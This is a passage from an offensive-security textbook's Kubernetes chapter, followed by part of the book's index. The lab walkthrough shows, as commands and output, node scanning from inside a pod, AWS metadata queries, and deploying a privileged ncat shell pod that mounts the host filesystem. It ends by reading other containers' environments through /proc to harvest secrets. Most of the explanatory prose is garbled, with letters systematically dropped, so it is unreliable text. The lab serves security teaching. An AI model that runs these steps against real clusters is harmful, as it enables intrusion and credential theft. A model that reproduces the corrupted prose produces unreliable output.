aws-vpc-cni-init is configured wit' {'hostNetw'rk': True}
kube-proxy is configured wit' {'hostNetw'rk': True}
read-du is configured wit' {'vol'me': 'host-fs-'ar'}➌
node-exporter is configured wit' {'host'ID': Tru', 'hostNetw'rk': True}
Oc w a ousid of h coai, you should s a w .x fil has b cad. Th
filam is divd fom h hosam of h clus ➊. I will b a log psudoadom
am ha coms fom h adom amig covio ha Amazo uss. W d o
ky i o wo ims i his log lis ha w ca cogiz fo us la.
• Th SvicAccou ➋, which is h accou ha all h coais us o coc
o h Kubs API Sv, has Admi Pivilgs i amspac dfaul.
• Th a coais (som sadad, som o) ha hav pivilgs o h
clus. Som of h capabiliis xposd a quid, such as hos wokig
big pushd i, ad oh capabiliis us volum mous ➌.
633
Coais lisd i kub-sysm a gally fo h ial Kubs compos.
Coais ha show up i dfaul a ypically dployd coais ha a pa of a
dploym wihou a amspac. Oh amspacs you may s, lik isio, a hid-
pay compos ha a packags fo us wihi a sysm. Mak su o lis ou
amspacs wh you a lookig a Kubs.
Wha is h dag of hs yps of issus? Th fis poblm, ha of h SvicAccou
havig dfaul pivilgs, will allow a aack who is abl o ad aifacs o h disk o
b abl o ad h JSON Wb Tok (JWT) ha’s h logi maial fo auhicaig
io a clus. This could poially allow a aack o lauch hi ow coais
fom wihi h clus. W ca sa o look a h damag a aack could do jus fom
gaiig accss isid a clus. W will pd ha w foud a mo cod xcuio
fom a wb applicaio as a saig poi. Aacks hav foud may oh aack
vcos o simula his, icludig usig Jupy obooks o fom a aack.
Lab 30-4: Attacking from Within
Th a sval coais uig i h Dfaul amspac ha w ca lvag fo
ou x wo labs. L’s go io ou fis o, which is uig a Ubuu-basd co-
ai imag fo simpliciy. Th fis s of labs w will u is basd o wok scaig:
└─$ kubectl exec -it $(kubectl get pods | a'k '{ print '1}' | grep -v NAME |
grep bash) -- /bin/bash➊
root@bash-75ffdc58-8vx6v:/# cat /etc/lsb-release➋
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=20.04
root@bash-75ffdc58-8vx6v:/# uname -a➌
Linux bash-75ffdc58-8vx6v 5.4.129-63.229.amzn2.x86_64 #1 SMP Tue Jul 20
21:22:08 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
root@bash-75ffdc58-8vx6v:/# ls -la /var/run/secreubernetestes.io/
serviceaccount/➍
total 0
lrwxrwxrwx 1 root root 12 Aug 4 19:50 token -> ..data/token➎
lrwxrwxrwx 1 root root 16 Aug 4 19:50 namespace -> ..data/namespace
lrwxrwxrwx 1 root root 13 Aug 4 19:50 ca.crt -> ..data/ca.crt
PART VI
lrwxrwxrwx 1 root root 31 Aug 4 19:50 ..data ->
..2021_08_04_19_50_56.127690991
drwxr-xr-x 2 root root 100 Aug 4 19:50 ..2021_08_04_19_50_56.127690991
drwxrwxrwt 3 root root 140 Aug 4 19:50 .
drwxr-xr-x 3 root root 28 Aug 4 19:50 ..
Fo a whil, l’s assum w a hacks ad hav accssd a viom wih lil
o o udsadig of wh w a. To do his, w will simula accss fom isid a
coai by uig h kubectl exec commad o iac wih h coai’s shll
➊. Fom a opaioal-awass sadpoi, h may b a fw commads w ca
u. Ths commads ca hlp us i fuh xploiaio. Th fils i /c ca hlp
us udsad h disibuio (i his cas, Ubuu 20.04 ➋). Ruig uname -a
will show us ha his sysm is uig Liux wih a build of amz2, idicaig a
Amazo Liux 2 disibuio ➌. Th dicoy w foud, /va/u/scs/Kubs
.io/svicaccou/ ➍, liss h logi cdial maial ➎ fo h Kubs us amd
634
“SvicAccou.” This is usd o commuica fom h coai back o h API
Sv. If his accou has mo ha h omal pivilgs, w ca cosuc ou ow
Kubs cofiguaio fil wih h appopia sigs o xploi hs pivilgs.
Th commad fcd i h fis scio ➊ is ah difficul o udsad
fo som ads. Isid of h Bash shll, ay commads wihi $( ) a ad as
xcuabl. Th commad you a lookig a, kubectl get pods, liss h pods. Th
oupu is passd o awk, which pass vy li ad aks h fis poio of h li up
o h fis spac (i his cas, h colum wih h ams). Th x commad movs
h NAME, ad h followig o oly gs h wod bash. This x will b h x
ha liss ou h psudo-adom coai am. As h am is a psudo-adom
valu, his is h asis commad o us o cosisly pull h fis valu. This valu is
populad io h aa i which $( ) xiss. Th ou commad xcus a Bash shll
agais ha coai.
Ousid of icocly cofigud Kubs pivilgs, assumig ha his svic
accou cao do ayhig spcial, wha ls ca w do fom ou vaag poi?
Nomally w ca sa o lis fo o sd packs o a wok o look fo addiioal
svics, ad Kubs is o diff. Giv ha his is Ubuu, w do o cssaily
d o big dow ou ow biais; w ca jus isall ou ow. Noic w a uig
as oo; his is h dfaul us wh o oh is spcifid i Kubs.
root@bash-75ffdc58-8vx6v:/# apt update -y && apt install curl nmap ncat -y➊
Get:1 http://security.ubuntu.com/ubuntu focal-security InRelease [114 kB]
Processing triggers for ca-certificates (20210119~20.04.1) ...
Updating certificates in /etc/ssl/certs...
0 added, 0 removed; done.
Running hooks in /etc/ca-certificates/update.d...
done.
root@bash-75ffdc58-8vx6v:/# curl http://169.254.169.254/latest/meta-data/
local-ipv4/➋
192.168.95.55root@bash-75ffdc58-8vx6v:/# nmap -n -p 1-65535 192.168.95.55➌
PORT STATE SERVICE
22/tcp open ssh
111/tcp open rpcbind
9100/tcp open jetdirect
10250/tcp open unknown➍
10256/tcp open unknown
root@bash-75ffdc58-8vx6v:/# nmap -sV -n --script=http-headers,http-title

192.168.95.55 -p 1-65535➎
635
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or
InfluxDB API)
|(Request type: GET)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
31090/tcp open http Golang net/http server (Go-IPFS json-rpc or
InfluxDB API)
| http-title: Prometheus Time Series Collection and Processing Server
|_Requested resource was /graph
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 302 Found
| href="/login">Found➏</a>.
32578/tcp open http Node.js Express framework

|_http-title: WeaveSocks➐
Th fis sp would b o dowload ools w ca us la i ou labs; w a goig o
dowload ad isall ca, map, ad cURL ➊. Udsad ha i may scaios, w
may hav o fid alaiv ways o mov hs ools aoud, such as saically compilig
som of hs ools.8
This od is uig i Amazo ad is hfo a maagd od. Maagd ods i
Kubs will d o b boosappd upo boo wih h Kubs Kubl ag.
Th boosap is comig fom h Us Daa svic i h AWS sysm. This xposs
h i Amazo MaDaa API. Usig his API, w a abl o quy fo h local IPv4
addss of h od ➋. Usig ha ifomaio, w ca sca ou localhos fo op pos
ha could b xposd o oh coais ➌.
Pfomig a quick po sca, w ca s ha h is o fiwallig bw h
coais ad h s of h wok. This ca b quival o a fla Lay 2 dsig
wih lil o o filig bw hoss. As w hav isalld h aiv Nmap sca,
PART VI
w ca ak advaag of o jus po scaig bu also NSE scipig o hlp us fid
mo ad mo ags.
Th fis pos w will fid a h pos i h 10250–10259 ag. Th pos w
s i ou sca la o h Kubl API uig o h hos ➍. Th scod s of pos
w fid a h os ha la o coais, as hy a i h 30000 ag. Ths
coai pos may b xposd o h I o may jus b locally usd. If w sca
usig Nmap NSE scips o gab HTTP ils, w ca sa o gah mo ifomaio
➎. Fo xampl, h po ha is i ou xampl is TCP/31090. Th il idicas ha
i is h Pomhus Tim Sis Daabas sysm, usd fo moioig. W s a 302
dico fo /logi ➏. This could b h fod coai o i could b a diff
wb sock ha wihou auhicaio movs us back o /logi. W also s 32578 big
opd o us wih somhig calld WavSocks ➐. As you ca s, giv a good way o
pivo hough h viom, w ca poially bows ial sysms.
636
Lab 30-5: Attacking the API Server
W will b saig a coai o h sysm wih pivilgs abld. Th admissio
cooll is pmissiv ough o allow fo his. How ca w abus hs pivilgs o
gai fuh accss io a viom? Th a wo ways o appoach his:
• W ca mov ou ools oo h local coai. Th dowsid is ha w may
b caugh by ay moioig ools isalld i h clus, such as EDR ools
o ools spcific o Kubs Admissio Cooll scaig o Kubs
Coai scaig. Sysdig has a op souc ag ha ca povid his yp of
lmy. Th ools gally will udsad how o us h xisig cdials
i his cas.
• W ca mov h oks ousid h clus ad h aach o ou cluss
moly usig hos kys. This is do by usig h /va/u/scs/kubs
.io/svicaccou/ok, ca.c, ad h IP o hosam of h sv.
W will b akig h fis opio. This aack will do h followig:
1. Isall a coai od wih a backdoo lis ha xcus a Bash shll.
2. Sa i wih all local pivilgs ad h mou h hos disk o h local sysm.
To compl his ask, you will d h followig wo fils locad i h GHHv6/
ch30/Lab dicoy:
• ncat-svc.yml This fil xposs h po o h clus.

• ncat.yml This is h mai dploym scip.
Scios of his scip will b omid fo bviy; h oly quim ha is o i
h scip is o fiish ach scio wih h wod EOF ad a enter:
└─$ kubectl exec -it $(kubectl get pods | awk '{ print $1}' | grep -v NAME |
grep bash) -- /bin/bash➊
root@bash-75ffdc58-8vx6v:/# cd tmp➋
root@bash-75ffdc58-8vx6v:/tmp# cat <<EOF >> ncat-svc.yml➌
> apiVersion: v1
> run: revshell
> EOF➍
root@bash-75ffdc58-8vx6v:/tmp# cat <<EOF >> ncat.yml➎
> apiVersion: apps/v1
> path: /
>
> EOF
637
Th fis hig you will d o do is mak su you’ i h Bash coai, which
was ou vaag poi ➊. Fom h, w ca mov o a dicoy i which w may b abl
o wi fils (/mp ➋ is gally a good spo fo his). W will us cat <<EOF o build
a fw .yml fils, h fis big h svic fil ➌. You ca fid his fil o you localhos
ad copy i xacly as i is; o d h fil, you d o fiish wih a EOF ➍. Do h
sam fo h ca.yml fil ➎.
Oc hs wo fils a o h mo sv, w will d o dowload h kubcl
fil. Oc w hav all hs pics i h sysm, w ca h hav h kubcl apply a
w pod o do h followig:
1. Th pod will op po 9999.
2. I will mou all h hos’s PIDs, viom vaiabls, ad wokig.
3. I will mou h oo fil sysm igh io h coai.
W ca h coc o ha po o gai accss o h coai, which has lvad
pivilgs:
root@bash-75ffdc58-8vx6v:/tmp# curl -LO "https://dl.k8s.io/release/v1.20.0/bin/
linux/amd64/kubectl"➊
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 154 100 154 0 0 1555 0 --:--:-- --:--:-- --:--:-- 1555
100 38.3M 100 38.3M 0 0 68.3M 0 --:--:-- --:--:-- --:--:-- 116M
root@bash-75ffdc58-8vx6v:/tmp# chmod a+x ./kubectl➋
root@bash-75ffdc58-8vx6v:/tmp# ./kubectl apply -f ncat.yml➌
deployment.apps/revshell configured
root@bash-75ffdc58-8vx6v:/tmp# ./kubectl apply -f ncat-svc.yml➍
service/revshell configured
root@bash-75ffdc58-8vx6v:/tmp#
root@bash-75ffdc58-8vx6v:/tmp# ./kubectl get svc➎
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kubernetes ClusterIP 10.100.0.1 <none> 443/TCP 2d20h
revshell ClusterIP 10.100.128.252➏ <none> 9999/TCP 25h
root@bash-75ffdc58-8vx6v:/tmp# ncat 10.100.128.252 9999➐
whoami➑
root
PART VI
W ca dowload h appopia kubcl fil by usig h omclau wh
w spcify h vsio of kubcl ha machs ou clus vsio ➊. Rcall w ca
quy /version o g his ifomaio. Oc w mak i xcuabl ➋, w a abl o
h apply ou coai ➌ alog wih h svic ➍ dscipio. This will isall a
Kubs coai ha has a ca lis o po 9999. W ca chck h svic
by pfomig a kubectl get svc ➎ ad locaig h svic calld vshll ➏. Wih h
IP addss i had, w a abl o h coc o i o po 9999 ➐. Bcaus his is o
a gula shll bu ah a ca shll, do’ wai fo a pomp; jus yp a commad
lik whoami ➑.
638
Fom a siuaioal-awass sadpoi, w a ow isid of a coai ha was
o ou oigial coai; w hav movd laally o his coai. Wha did i giv us?
A sup-pivilgd coai ha w ca ow u commads o:
ls➊
bin
boot
usr
var
cd /host➋
ls
bin
boot
usr
var
env➌
REVSHELL_PORT_9999_TCP_PORT=9999
HOSTNAME=ip-192-168-95-55.ec2.internal
PWD=/host
OLDPWD=/
ps -ef | grep jar ➍
root 6948 4282 0 21:50 ? 00:00:00 grep jar
root 10928 10905 0 Aug03 ? 00:00:00 /bin/sh /usr/local/bin/java
.sh -jar ./app.jar --port=80➎
root 10975 10928 0 Aug03 ? 00:05:58 java -Xms64m -Xmx128m
-XX:+UseG1GC -Djava.security.egd=file:/dev/urandom -Dspring.zipkin
.enabled=false -jar ./app.jar --port=80
cd /host/proc/10928➏
cat environ➐
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/
jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/binHOSTNAME=queue-
master-
DDR=10.100.107.2LANG=C.UTF-8JAVA_HOME=/usr/lib/jvm/java-1.8-openjdkJAVA_
VERSION=8u111JAVA_ALPINE_VERSION=8.111.14-r0SERVICE_USER=myuserSERVICE_
UID=10001SERVICE_GROUP=mygroupSERVICE_GID=10001➑
Now ha w a i his lvad coai, w ca sa o look a h suls of ou
podSpc. By usig ls, w should b abl o s a dicoy calld /hos ➊. This dicoy
should b a mou o h hos fil sysms/dicoy. L’s go io ha dicoy ➋ ad
lis ou is cos o vify. W ca u env ➌, bu h viom vaiabl will b
lisig h viom fo ou coai. Wha if w lookd fo oh coais ha
a uig? W ca us ps -ef o look fo all coais, ad w ca pa his dow by
lookig fo JAR-basd os ➍. W ca pipoi o ➎ ad look a is pocss ID. Usig
h /poc fil sysm, w ca go io ha poc dicoy ➏ ad ad h viom fil
ha coais h coai’s vioms ➐. By lisig viom vaiabls, w may
b abl o ad scs ad gai accss o addiioal sysms; howv, i ou sysm, w
a o soig ay scs o mouig ay fom h API Sv.
639
Summary
Kubs is a vy powful opaioal plafom ad oolchai ha is i us i may
piss. I ca b scud, bu qui of is lf uig isculy. Th a ply
of ways ha Kubs ca b usd o gai fuh accss io a viom. A
aack wih dp Liux kowldg ca bak ou usig a xploi o h hos o lv-
ag h i wokigs of h sysm o kp movig. W hav jus bgu o scach h
sufac of h myiad ways you ca fid aacks o hs sysms. W commd goig
hough h “Fo Fuh Radig” scio o g mo udsadig of Kubs.
Icludd i h “Fo Fuh Radig” scio is h NSA ad CISA’s guidac o
hadig Kubs, “Kubs Hadig Guidac.” This is a 70+ pag guid ha
walks you hough all h issus ha ca happ wh dployig Kubs. W highly
commd wokig hough his docum. Usig his docum, a good hack ca
vs gi h mchaisms you ca us o aack Kubs.
For Further Reading

Bishop Fox, “Bad Pods” labs.bishopfox.com/ch-blog/bad-pods-kubs-pod-
pivilg-scalaio
Linux Kernel privilege escalation syk.io/blog/kl-pivilg-scalaio/
Kubernetes tutorial kubs.io/docs/uoials/kubs-basics/
“Kubernetes Hardening Guidance” mdia.dfs.gov/2021/Aug/03/2002820425/
-1/-1/1/CTR_KUBERNETES%20HARDENING%20GUIDANCE.PDF
References
1. Kubs cifid svic povids, hps://kubs.io/pas/#cofomac.
2. Kubs achicu, hps://kubs.io/docs/cocps/achicu/.
3. “Gig Sad wih Amazo EKS,” hps://aws.amazo.com/ks/gig-sad/.
PART VI
4. WavWoks Sock Shop, hps://micosvics-dmo.gihub.io/.
5. “Usig Cifica Taspacy as a Aack/Dfs Tool,” hps://isc.sas
.du/foums/diay/Usig+Cifica+Taspacy+as+a+Aack+Dfs+
Tool/24114/.
6. Nwokig pos i CoOS, hps://gihub.com/coos/coos-kubs/blob/
mas/Documaio/kubs-wokig.md.
7. Isio, hps://isio.io/.
8. Saic compild ools po, hps://www.gihub.com/mossgad/ools-po/.
INDEX
A address translation in x86 virtualization,

477–478
access
addressing in IDA Pro, 100
AWS. See authentication in AWS
addressing modes in assembly language, 40
Azure, 590–591, 597–598
admin bastion host design in AWS, 570
access control lists (ACLs), 355
AdminSDHolder object, abusing, 364–366
access keys (AKIA) in AWS, 572
advanced persistent threats (APTs), 11
AccessKeyId in AWS, 574–575
agents
ACLs (access control lists), 355
Command and Control, 127–128
actions on objectives in Cyber Kill Chain, 13
PowerShell Empire, 319–320
Active Directory (AD)
WinRM, 321–322
Azure, overview, 591
agriculture and breeding, IoT things for, 394
Azure, password spraying, 596–597
AKIA (access keys) in AWS, 572
Azure, permissions, 591–593
Alias groups in Active Directory, 346
Azure, user lookups, 594–595
allocators in VMMs, 470
Distinguished Names, 345
AllSigned execution policy, 308
Domain Admin group, 344
Amazon Resource Name (ARN) format, 570
Group group, 346
Amazon Web Services (AWS)
persistence, 364–367
attacker tools overview, 575–576
PowerShell, 352–354
authentication, 571–583
PowerView, 354–356
authorization, 568–570
privilege escalation, 357–359
vs. Azure, 586–587
recon overview, 351
best practices, 570–571
SharpHound, 356–357
Boto library, 576
ADC (analog-to-digital conversion) resolution
environment setup, 571
in SDR, 448
introduction, 567
ADD-ADDBSidHistory cmdlet, 367
keys and key material, 572–575
add command, 38
PACU Framework, 576
Add-ObjectAcl cmdlet, 365
permissions, 577–578
add_region method, 506
readings, 583
Address Resolution Protocol (ARP), 436
RedBoto, 576–577
address space layout randomization (ASLR)
references, 583–584
bypassing, 228–231
services, locations, and infrastructure, 568
description, 202
summary, 583
disabling, 208
system internals, 580–583
KASLR, 246–248
unauthorized actions, 579–580
Windows exploitation, 264–265
641
642
ampersands (&) in C language, 26 assert function, 496
amplitude plots in SCRAPE process, 457 asynchronous transfer lists in
AMSI. See Antimalware Scan Interface (AMSI) EHCI controller, 548
analog-to-digital conversion (ADC) resolution AT&T assembly language, 37–40
in SDR, 448 AtomicRedTeam attacker emulation, 181–183
Analyze phase in SCRAPE process, Attack Navigator, 118
454–461 attack surfaces for hypervisors, 487–489
annotations in Ghidra, 78, 80–83 attack vectors
Antimalware Scan Interface (AMSI) exploit development, 215–216
domain recon, 352 Windows exploitation, 264–266
Evil-WinRM, 340 Aufs file system, 608
PowerShell Empire, 131, 318–319 auth function, 219–221
PowerSploit, 315 authenticated vulnerability scanning, 113
system recon, 348 authentication in AWS
AntivirusBypass subdirectory in attacker tools overview, 575–576
PowerSploit, 314 introduction, 571
API Servers in Kubernetes keys and key material, 572–575
attacking, 636–638 PACU Framework, 576
description, 624 permissions, 577–578
finding, 627–628 RedBoto, 576–577
fingerprinting, 625–626, 628–630 system internals, 580–583
applications unauthorized actions, 579–580
containers, 611–613 authorization in AWS, 568–570
diffing, 369–370 automotive industry, IoT things for, 394
penetration testing, 115 aviation industry, IoT things for, 394
APT29 attack data, 186 AWS. See Amazon Web Services (AWS)
APT334 group, 120 Azure
APTs (advanced persistent threats), 11 access, 590–591, 597–598
arbitrary_read_near function, 556 accounts for DetectionLab installation,
arbitrary reads in hypervisor case study, 158–159
555–556 Active Directory, overview, 591
arbitrary_write function, 561 Active Directory, password spraying,
ARM architectures 596–597
embedded devices, 410–411 Active Directory, permissions, 591–593
interface descriptions, 418–419 Active Directory, user lookups, 594–595
pinouts, 420–421 attack overview, 593–594
ARN (Amazon Resource Name) format, 570 vs. AWS, 586–587
ARP (Address Resolution Protocol), 436 backdoors on nodes, 600
Ashton, Kevin, 393 CLI tool, 589
ASLR. See address space layout control plane and managed identities,
randomization (ASLR) 598–600
assembly language introduction, 585
addressing modes, 40 lab setup, 587–590
AT&T vs. NASM, 37–40 overview, 585–586
file structure, 41 readings, 601
vs. machine language and C, 37 references, 601
sample program, 41 summary, 601
Index
643
Azure Functions for Windows, 587 bootloaders for embedded devices, 421–422
Azure Portal, 588–590 bootstrapping via web, 311–313
Boto library, 576
B breaking out of containers, 616–620
b64 script, 310–311 breakpoints
backdoors on nodes in Azure, 600 gdb, 42
bad characters in Windows exploits, 268 Ida Pro, 104–106
bandwidth in SDR, 448 Immunity Debugger, 254–256
base indexed relative addressing mode, 40 Windows kernel drivers, 292
Base64-encoded strings, 310, 319 brute-force strategy for stack canaries, 226
based relative addressing mode, 40 .bss section in memory, 33
bastion host design in AWS, 570 buffer overflows
bcdedit command, 285 Linux, 65–67
beacon times, 128 local, 207–212
behavior-sensitive CPU instructions, 470–471 overview, 201–206
best practices in AWS, 570–571 ramifications, 206
Bianco, David J., 123 sample program, 203–204
big-endian memory order, 32 buffers, memory, 34
binary diffing bug bounty programs, 10
application, 369–370 build_nim.sh command, 146
BinDiff, 372–373 Bullock, Beau, 596
Ghidra, 83–86 Bus Pirate tool, 415
introduction, 369 BusyBox container, 618
patch, 370–371 Bypass-4MSI command, 340
tools overview, 371–372 bypassing
turbodiff, 374–378 AMSI, 315, 318–319
Binary Launcher screen in Covenant, 133–134 ASLR, 228–231
bind shells, 129 KPTI, 241–243
BinDiff tool, 83–87, 371–373 memory, 271–272
BinDiffHelper plug-in, 83 NX stack, 222–225
BinExport plug-in, 84 PIE, 230–232
binkit tool, 371 SafeSEH, 272–274
BinNavi tool, 372 SMAP, 244–246
bits, memory, 31 SMEP, 241–243
black hat hacking UAC, 319–320
advanced persistent threats, 11 bypassuac command, 319
Cyber Kill Chain, 11–14 Byt3bl33der user, 145
description, 4 bytes, memory, 31
MITRE ATT&CK framework, 14–17 bzImage file, 233
Blichmann, Christian, 372
Block Storage in AWS, 570–571 C
BloodHound tool, 356–357 C/C++ Optimizing Compiler and Linker, 250
Bluetooth Low Energy protocol, 395 C programming language
boot drivers, 282 basic constructs, 21–22
boot message implementation in unikernel, comments, 29
497–499 compiling, 30–31
booting in unikernel, 489–492 computer memory, 31–35
644
C programming language (cont.) DetectionLab installation in, 157–160
functions, 22–23 Kubernetes. See Kubernetes
if/else construct, 28–29 penetration testing, 116
introduction, 21 CLSIDs (class IDs) in system recon, 348
loops, 27–28 clusters in Kubernetes, 625–627, 632–633,
printf command, 24–25 636–637
sample programs, 29–30 Code Browser in Ghidra, 74–77
scanf command, 26 Code Bytes, 77
strcpy and strncpy commands, 26–27 Code class for research framework clients,
variables, 23–24 505–506
C# programming language launchers, Code section in Immunity Debugger, 252–253
compiling and testing, 141–142 code segment in memory, 33
C2. See Command and Control (C2) CodeExecution subdirectory in PowerSploit, 314
call command Cohen, Danny, 32
assembly language, 39 color schemes
stack operations, 200 IDA Pro, 96
call graphs in Ghidra, 79 Immunity Debugger, 254
Capture phase in SCRAPE process, 450–452 Command and Control (C2)
capture the flag (CTF) framework, 64–67 C# launchers, 141–142
capturing password hashes, 325–331 Covenant, 131–136
CDM (Common Data Model), 176 Cyber Kill Chain, 13
cellular networks, 394 EDR evasion, 149–150
CERT (Computer Emergency Response go launchers, 142–144
Team) Coordination Center (CC), 9 Metasploit, 128–131
cgroups. See control groups (cgroups) network evasion, 147–149
for containers Nim launchers, 144–147
channels overview, 127–128
SDR, 448 payload obfuscation, 136–140
VMBus, 532–537 PowerShell Empire, 131, 316–322
checksec shell script, 60 readings, 150–151
Chen, Dominic, 444 summary, 150
chroot technology for containers, 604 command line
class IDs (CLSIDs) in system recon, 348 AWS, 568–569
classically virtualizable VMMs, 471 local buffer overflows, 208–209
clients in research frameworks, 500–508 PowerShell, 309–310
clocks commands and command execution
I2C, 417 containers, remote, 614–615
JTAG, 418 PowerShell, 309–311
SPI, 416 WinRM, 338–341
SWD, 420 WMI, 337–338
clone function, 608 comments
cloud assembly language, 37–38
Amazon Web Services. See Amazon Web C language, 29
Services (AWS) Ghidra Code Browser, 75–76
Azure. See Azure IDA Pro, 102
containers. See containers Python, 51
Index
645
commit_creds() function, 236–238, 242 looking at, 605–607
Common Data Model (CDM), 176 process mappings to, 615
common_interrupt_return function, 242 control planes
Common Vulnerability Scoring System Azure, 597–600
(CVSS) score, 114 Kubernetes, 623–625, 627
communication control-sensitive CPU instructions, 470–471
Internet of Things, 395 control transfers in USB, 542
research framework clients, 500–504 controllers in Kubernetes, 624
unikernel, 489–497 ConvertFrom-SID cmdlet, 355
compiling ConvertThreadToFiber function, 144
C language, 30–31 coordinated disclosure, 8–9
C# launchers, 141–142 corporate red teams, 121–122
go launchers, 143–144 Covenant framework, 131–136
Nim launchers, 145–147 CPUs
Windows programs, 250–252 embedded devices, 409–411
compound USB devices, 542 Popek and Goldberg virtualization
Computer Emergency Response Team theorems, 470
(CERT) Coordination Center (CC), 9 CR4 register in SMAP bypassing, 244–245
Computer Fraud and Abuse Act, 4 crashing Windows programs, 255–258
computer memory. See memory crc32 function, 496
Console – Scripting window in Ghidra CreateFiber function, 144
Code Browser, 75 credentials
constant string references in Linux, 57–58 AWS, 575
Construct module for research framework Azure, 597
clients, 500–504 data-driven hunts, 177
consultant red teams, 122 gathering, 360–362
ContainerD interface, 612 NTLM, 327
containers TTP, 119–120
applications, 611–613 WimRM, 320–322
breakouts, 616–620 Winexe, 333
capabilities, 617–618 cross-reference links in Ghidra
cgroups, 618–620 Code Browser, 77
introduction, 603 cross-references (xrefs) in IDA Pro, 96–97
Kubernetes, 632–633, 636–638 CTE (cyber threat emulation), 16–17
Linux. See Linux containers CTF (capture the flag) framework, 64–67
pivots, 616 CVSS (Common Vulnerability Scoring
privileged pods, 617–618 System) score, 114
readings, 620–621 Cyber Kill Chain
references, 621 courses of action, 13–14
remote commands, 614–615 description, 11
security, 613–615 steps, 12–13
summary, 620 cyber threat emulation (CTE), 16–17
control fields in VMCS, 481 cyber threat intel in MITRE ATT&CK
control groups (cgroups) for containers framework, 15–16
abusing, 618–620 cyclic function, 215, 221
description, 604 cyclic_find function, 215
646
D decompiler in Ghidra, 75, 78, 80–81
degrade phase in Cyber Kill Chain, 14
daemons in Docker, 612–613
Dekel, Kasif, 286
Dai Zovi, Dino, 9
del_region method, 506
DarunGrim tool, 371, 374
delivery phase in Cyber Kill Chain, 12
DAST (dynamic application
delta_patch.py script, 383–384
security testing), 115
denial-of-service (DDoS) attacks
Data CRC field in USB packets, 543
buffer overflows, 206
Data Dictionaries (DD), 176
IoT things, 404–405
.data directive in assembly language, 41
deny phase in Cyber Kill Chain, 13
data-driven hunts, 174, 177–180
DEP (Data Execution Prevention)
Data Execution Prevention (DEP)
ProSSHD, 260
ProSSHD, 260
Windows exploitation, 274
Windows exploitation, 274
desc_string function, 558
data fields in USB packets, 543
describeInstances.py script, 579
data planes
describeUserData.py script, 579
Azure, 593
destroy phase in Cyber Kill Chain, 14
Kubernetes, 623
detect phase in Cyber Kill Chain, 13
Data Reference Analyzer in Ghidra, 74
Detection Data Model (DDM), 176
Data section in Immunity Debugger, 253
detection engineering in purple teams, 125
.data section in memory, 33
DetectionLab
data sources, normalizing, 175–176
examining, 160
Data Type Manager in Ghidra
installing in cloud, 157–160
Code Browser, 75
installing on host, 155–157
database joins, 190–191
prerequisites, 154
DbMemmove structure, 297–298
determinism requirement for unikernel, 489
DBT (dynamic binary translation)
Developer Command Prompt, 250
in x86 virtualization, 476
_DEVICE_OBJECT structure, 283, 289
DCSync attacks, 362–363
DeviceGuard, checking for, 350
DD (Data Dictionaries), 176
DeviceIoControl function, 292–293
DDM (Detection Data Model), 176
devices
DDoS (denial-of-service) attacks
IoT. See Internet of Things (IoT)
penetration testing, 116
IoT things, 404–405
USB, 542
debug interfaces for embedded devices, 418–421
VMBus, 534
debugging
Diaphora tool, 371, 374
disassembly, 44–45
dictionaries, Python, 50
gdb. See gdb debugger
diffing. See binary diffing
IDA Pro, 102–107
Digital Millennium Copyright Act, 4
Immunity Debugger, 252–259, 262–265
digital rights management (DRM), 4
relative_read function, 554–555
Disassembler section in Immunity Debugger,
Windows exploits, 267–269
252–253
Windows kernel, 284–285
disassemblers, IDA Pro. See Interactive
Windows programs, 252–254
Disassembler (IDA) Pro
dec command, 39
disassembly
deceive phase in Cyber Kill Chain, 14
gdb debugger, 44–45
decoding data SCRAPE process, 457–461
overview, 90–92
Index
647
dispatch routines for kernel drivers, 283 duplex in SDR, 448
dispatchers for VMMs, 470–471 DWORDs (double words) in memory, 31
disrupt phase in Cyber Kill Chain, 14 dynamic application security testing
Distinguished Names (DNs), obtaining, 345 (DAST), 115
Dll-Loader command for Evil-WinRM, 340 dynamic binary translation (DBT) in x86
DLLs (loaded modules) virtualization, 476
in Windows exploitation, 264–265 dynamic vulnerabilities analysis
DNS for embedded devices
network evasion, 147–148 with emulation, 440–445
steps, 325–326 with hardware, 436–440
DNs (Distinguished Names), obtaining, 345
do_token_in function, 553 E
do_token_out function, 549 EBP (Extended Base Pointer)
do_token_setup function, 545–546, 549 stack operations, 200–201
Docker Windows exploitation, 279–280
API interaction, 614–615 Windows programs, 256
container capabilities, 617–618 EC2. See Elastic Compute Cloud (EC2)
daemons, 612–613 Economou, Nicolas, 371
Dockerfiles, 609–611 EDR (endpoint detection and response),
Hyper-V images, 518–519 149–150
hypervisor case study, 541 EFER.LMSLE feature, 477
Linux containers, 605–607 efficiency property for virtual machines, 471
overview, 612 EHCI (Enhanced Host Controller Interface)
remote commands, 614–615 controller, 547–548
Docker-Compose orchestrator, 612 EIP. See Extended Instruction Pointer (EIP)
docker inspect command, 609 EKS (Elastic Kubernetes Service), 625–626, 629
Docker Swarm, 612 Elastic Compute Cloud (EC2)
docker volume command, 609 permissions, 577–578
domain groups, obtaining, 345–346 persistence, 580–582
domain recon service delivery, 568
overview, 351 unauthorized actions, 579–580
PowerShell, 352–354 Elastic Kubernetes Service (EKS),
PowerView, 354–356 625–626, 629
SharpHound, 356–357 elevated privileges with Winexe, 333
Donut-Loader command, 340 Elfin group, 120
double words (DWORDs) in memory, 31 embedded devices
_DRIVER_OBJECT structure, 283, 288–289 CPUs, 409–411
DriverEntry function, 287 debug interfaces, 418–421
drivers in Windows kernel introduction, 409
interacting with, 292–296 JTAG, 418–420
obtaining, 286–287 readings, 424
overview, 282–284 references, 425
reverse engineering, 287–288 serial interfaces, 411–417
target selection, 285–286 software, 421–423
DRM (digital rights management), 4 summary, 424
Dullien, Thomas, 372 SWD, 420–421
dup2 system call, 216, 224 update packages, 427–432
648
embedded devices vulnerabilities analysis Kerberos, 360–364
dynamic, with emulation, 440–445 local, 357–359
dynamic, with hardware, 436–440 SharpUp, 358–359
performing, 432–435 user object passwords, 359–360
readings, 446 winPEAS, 357–358
